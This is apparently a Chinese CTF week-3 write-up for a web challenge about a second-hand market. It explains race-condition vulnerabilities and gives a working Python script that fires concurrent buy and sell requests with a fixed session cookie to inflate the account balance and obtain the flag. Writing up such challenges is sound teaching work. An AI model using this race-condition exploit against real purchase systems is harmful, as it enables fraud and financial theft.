WP WEEK3

WEB

1.cosmos 的二手市场

什么是条件竞争?

条件竞争漏洞是一种服务器端的漏洞，由于服务器端在处理不同用户的请求时是并发进行的，因此，如果并发处理不当或相关操作逻辑顺序设计的不合理时，将会导致此类问题的发生。

简而言之，在这题上是由于服务器多线程处理请求导致同一个变量被多个线程同时使用，进而导致读出数据的结果重复而导致的漏洞

在这个题目上的思路是多线程同时发请求而导致每次卖出商品的个数大于已有的个数

这里给出代码利用

```
import requests
from concurrent.futures import ThreadPoolExecutor

def httpbuy():
    cookie={'PHPSESSID':'g4f881umaoj3pqtmhrrk5670jn'}
    url='http://121.36.88.65:9999/API/?method=buy'
    data={'code':800001,'amount':1}
    requests.post(url=url,cookies=cookie,data=data)

def httpsolve():
    cookie={'PHPSESSID':'g4f881umaoj3pqtmhrrk5670jn'}
    url='http://121.36.88.65:9999/API/?method=solve'
    data={'code':800001,'amount':1}
    requests.post(url=url,cookies=cookie,data=data)

def buyConcurrent():
    p=ThreadPoolExecutor(40)
    for i in range(100):
        p.submit(httpbuy)

def solveConcurrent():
    p=ThreadPoolExecutor(40)
    for i in range(200):
        p.submit(httpsolve)

if __name__=="__main__":
    while True:
        buyConcurrent()
        solveConcurrent()
```

刷出的金额超过一亿点击 GETflag 得到 flag